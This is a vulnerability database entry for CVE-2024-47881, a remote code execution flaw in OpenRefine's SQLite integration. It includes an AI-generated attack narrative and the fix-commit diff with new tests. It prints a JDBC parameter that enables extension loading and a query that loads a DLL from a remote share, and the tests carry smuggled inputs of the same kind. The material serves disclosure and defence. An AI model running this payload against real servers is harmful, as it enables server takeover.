OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)
Description
OpenRefine is a free, open source tool for working with messy data. Starting in version 3.4-beta and prior to version 3.8.3, in the database extension, the "enable_load_extension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server. The attacker needs to have network access to the OpenRefine instance. Version 3.8.3 fixes this issue.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
An attacker with network access to OpenRefine can achieve remote code execution by setting 'enable_load_extension=true' in the SQLite JDBC URL within the database extension.
Vulnerability
Details
CVE-2024-47881 is a remote code execution vulnerability in the database extension of OpenRefine, affecting versions from 3.4-beta up to (but not including) 3.8.3. The bug arises because the extension allows users to specify a JDBC URL for connecting to an SQLite database, and it does not prevent the inclusion of the enable_load_extension=true property. When this property is set, the SQLite library permits the loading and execution of shared library DLLs (on Windows, including those accessible via SMB), thereby enabling arbitrary code execution on the server.[1][2]
Attack
Scenario
To exploit this vulnerability, an attacker needs network access to a running OpenRefine instance. They must be able to interact with the database connection dialog, typically by creating a new project from a database and specifying a SQLite JDBC URL that includes ?enable_load_extension=true. The attacker then executes a query that loads a malicious DLL, such as SELECT load_extension('\\remote\share\payload.dll');. No prior authentication is required beyond reaching the web interface.[2]
Impact
Successful exploitation allows the attacker to run arbitrary code with the privileges of the OpenRefine process. This could lead to full compromise of the server, including data exfiltration, installation of malware, or lateral movement within the network. The vulnerability is rated with a CVSS score that reflects high severity, as the attack complexity is low and no user interaction is required beyond connecting to the database.[2]
Mitigation
The issue is fixed in OpenRefine version 3.8.3. The fix disables the enable_load_extension property by default and enforces read-only open modes. Users are advised to upgrade immediately. As a workaround, administrators can restrict network access to the OpenRefine interface or implement input validation to block the enable_load_extension parameter in JDBC URLs.[1][2]
AI Insight generated on May 20, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.openrefine:databaseMaven | >= 3.4-beta, < 3.8.3 | 3.8.3 |
Affected products
3>= 3.4-beta < 3.8.3+ 1 more
- (no CPE)range: >= 3.4-beta < 3.8.3
- (no CPE)range: >= 3.4-beta, < 3.8.3
Patches
1853a1d91662edatabase extension: fix remote code execution vulnerability
8 files changed · +49 −30
extensions/database/src/com/google/refine/extension/database/sqlite/SQLiteConnectionManager.java+15 −1 modified@@ -29,6 +29,7 @@ package com.google.refine.extension.database.sqlite; +import java.io.File; import java.net.URI; import java.net.URISyntaxException; import java.sql.Connection; @@ -69,8 +70,21 @@ public static SQLiteConnectionManager getInstance() { } public static String getDatabaseUrl(DatabaseConfiguration dbConfig) { + String dbPath = dbConfig.getDatabaseName(); + if (dbPath.contains("?")) { + throw new IllegalArgumentException("Paths to SQLite databases are not allowed to contain '?'"); + } + if (dbPath.startsWith("//") || dbPath.startsWith("\\\\") || dbPath.startsWith("\\/") || dbPath.startsWith("/\\")) { + throw new IllegalArgumentException("File path starts with illegal prefix; only local files are accepted."); + } + if (!new File(dbPath).isFile()) { + throw new IllegalArgumentException("File could not be read: " + dbPath); + } try { - URI uri = new URI("jdbc:" + dbConfig.getDatabaseType().toLowerCase(), dbConfig.getDatabaseName(), null); + URI uri = new URI( + "jdbc:" + dbConfig.getDatabaseType().toLowerCase(), + dbPath + "?open_mode=1&limit_attached=0", // open_mode=1 means read-only + null); return uri.toASCIIString(); } catch (URISyntaxException e) { throw new IllegalArgumentException(e);
extensions/database/tests/conf/appveyor_tests.xml+1 −1 modified@@ -25,7 +25,7 @@ <parameter name = "mariadbDbPassword" value=""/> <parameter name = "mariadbTestTable" value="test_table"/> - <parameter name = "sqliteDbName" value="extension_test_db.sqlite"/> + <parameter name = "sqliteDbName" value="tests/resources/test_db.sqlite"/> <parameter name = "sqliteDbHost" value=""/> <parameter name = "sqliteDbPort" value=""/> <parameter name = "sqliteDbUser" value=""/>
extensions/database/tests/conf/github_actions_tests.xml+1 −1 modified@@ -21,7 +21,7 @@ <parameter name = "mariadbDbPassword" value="root"/> <parameter name = "mariadbTestTable" value="test_table"/> - <parameter name = "sqliteDbName" value="extension_test_db.sqlite"/> + <parameter name = "sqliteDbName" value="tests/resources/test_db.sqlite"/> <parameter name = "sqliteDbHost" value=""/> <parameter name = "sqliteDbPort" value=""/> <parameter name = "sqliteDbUser" value=""/>
extensions/database/tests/conf/tests.xml+1 −1 modified@@ -29,7 +29,7 @@ <parameter name = "mariadbDbPassword" value=""/> <parameter name = "mariadbTestTable" value="test_table"/> - <parameter name = "sqliteDbName" value="extension_test_db.sqlite"/> + <parameter name = "sqliteDbName" value="tests/resources/test_db.sqlite"/> <parameter name = "sqliteDbHost" value=""/> <parameter name = "sqliteDbPort" value=""/> <parameter name = "sqliteDbUser" value=""/>
extensions/database/tests/resources/test_db.sqlite+0 −0 addedextensions/database/tests/src/com/google/refine/extension/database/DBExtensionTests.java+1 −1 modified@@ -61,7 +61,7 @@ public class DBExtensionTests { protected final String DEFAULT_MARIADB_NAME = "testdb"; protected final String SQLITE_DB_NAME = "sqlite"; - protected final String DEFAULT_SQLITE_DB_NAME = "extension_test_db.sqlite"; + protected final String DEFAULT_SQLITE_DB_NAME = "tests/resources/test_db.sqlite"; protected final String DEFAULT_TEST_TABLE = "test_data";
extensions/database/tests/src/com/google/refine/extension/database/sqlite/SQLiteConnectionManagerTest.java+0 −11 modified@@ -29,13 +29,11 @@ package com.google.refine.extension.database.sqlite; -import java.io.File; import java.sql.Connection; import java.sql.SQLException; import org.mockito.MockitoAnnotations; import org.testng.Assert; -import org.testng.annotations.AfterTest; import org.testng.annotations.BeforeTest; import org.testng.annotations.Optional; import org.testng.annotations.Parameters; @@ -66,15 +64,6 @@ public void beforeTest(@Optional(DEFAULT_SQLITE_DB_NAME) String sqliteDbName, DatabaseService.DBType.registerDatabase(SQLiteDatabaseService.DB_NAME, SQLiteDatabaseService.getInstance()); } - @AfterTest - @Parameters({ "sqliteDbName" }) - public void afterTest(@Optional(DEFAULT_SQLITE_DB_NAME) String sqliteDbName) { - File f = new File(sqliteDbName); - if (f.exists()) { - f.delete(); - } - } - @Test public void testTestConnection() throws DatabaseServiceException { boolean isConnected = SQLiteConnectionManager.getInstance().testConnection(testDbConfig);
extensions/database/tests/src/com/google/refine/extension/database/sqlite/SQLiteDatabaseServiceTest.java+30 −14 modified@@ -29,20 +29,17 @@ package com.google.refine.extension.database.sqlite; -import java.io.File; import java.sql.Connection; import java.sql.SQLException; import java.util.List; import org.mockito.MockitoAnnotations; import org.testng.Assert; -import org.testng.annotations.AfterTest; import org.testng.annotations.BeforeTest; import org.testng.annotations.Optional; import org.testng.annotations.Parameters; import org.testng.annotations.Test; -import com.google.refine.extension.database.DBExtensionTestUtils; import com.google.refine.extension.database.DBExtensionTests; import com.google.refine.extension.database.DatabaseConfiguration; import com.google.refine.extension.database.DatabaseService; @@ -69,28 +66,18 @@ public void beforeTest(@Optional(DEFAULT_SQLITE_DB_NAME) String sqliteDbName, testDbConfig.setDatabaseType(SQLiteDatabaseService.DB_NAME); testTable = sqliteTestTable; - DBExtensionTestUtils.initTestData(testDbConfig, sqliteTestTable); DatabaseService.DBType.registerDatabase(SQLiteDatabaseService.DB_NAME, SQLiteDatabaseService.getInstance()); } - @AfterTest - @Parameters({ "sqliteDbName" }) - public void afterTest(@Optional(DEFAULT_SQLITE_DB_NAME) String sqliteDbName) { - File f = new File(sqliteDbName); - if (f.exists()) { - f.delete(); - } - } - @Test public void testGetDatabaseUrl() { SQLiteDatabaseService sqLiteDatabaseService = (SQLiteDatabaseService) DatabaseService .get(SQLiteDatabaseService.DB_NAME); String dbUrl = sqLiteDatabaseService.getDatabaseUrl(testDbConfig); Assert.assertNotNull(dbUrl); - Assert.assertEquals(dbUrl, "jdbc:sqlite:extension_test_db.sqlite"); + Assert.assertEquals(dbUrl, "jdbc:sqlite:tests/resources/test_db.sqlite?open_mode=1&limit_attached=0"); } @Test @@ -103,6 +90,35 @@ public void testGetConnection() throws DatabaseServiceException { Assert.assertNotNull(conn); } + /* + * We don't allow loading extensions because that executes arbitrary code + */ + @Test(expectedExceptions = IllegalArgumentException.class) + public void testGetConnectionWithExtensions() throws DatabaseServiceException { + DatabaseConfiguration testDbConfigWithExtensions = new DatabaseConfiguration(); + testDbConfigWithExtensions.setDatabaseName("test_db.sqlite?enable_load_extension=true"); + testDbConfigWithExtensions.setDatabaseType(SQLiteDatabaseService.DB_NAME); + + SQLiteDatabaseService sqLiteDatabaseService = (SQLiteDatabaseService) DatabaseService + .get(SQLiteDatabaseService.DB_NAME); + sqLiteDatabaseService.getConnection(testDbConfigWithExtensions); + } + + /* + * We don't allow loading a remote SQLite file to make remote code execution harder + */ + @Test(expectedExceptions = IllegalArgumentException.class) + public void testGetConnectionWithRemoteFile() throws DatabaseServiceException { + DatabaseConfiguration testDbConfigWithExtensions = new DatabaseConfiguration(); + testDbConfigWithExtensions + .setDatabaseName("https://github.com/xerial/sqlite-jdbc/raw/master/src/test/resources/org/sqlite/sample.db"); + testDbConfigWithExtensions.setDatabaseType(SQLiteDatabaseService.DB_NAME); + + SQLiteDatabaseService sqLiteDatabaseService = (SQLiteDatabaseService) DatabaseService + .get(SQLiteDatabaseService.DB_NAME); + sqLiteDatabaseService.getConnection(testDbConfigWithExtensions); + } + @Test public void testTestConnection() throws DatabaseServiceException { SQLiteDatabaseService sqLiteDatabaseService = (SQLiteDatabaseService) DatabaseService
Vulnerability mechanics
Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3- github.com/advisories/GHSA-87cf-j763-vvh8ghsaADVISORY
- github.com/OpenRefine/OpenRefine/commit/853a1d91662e7dc278a9a94a38be58de04494056ghsax_refsource_MISCWEB
- github.com/OpenRefine/OpenRefine/security/advisories/GHSA-87cf-j763-vvh8ghsax_refsource_CONFIRMWEB
News mentions
0No linked articles in our index yet.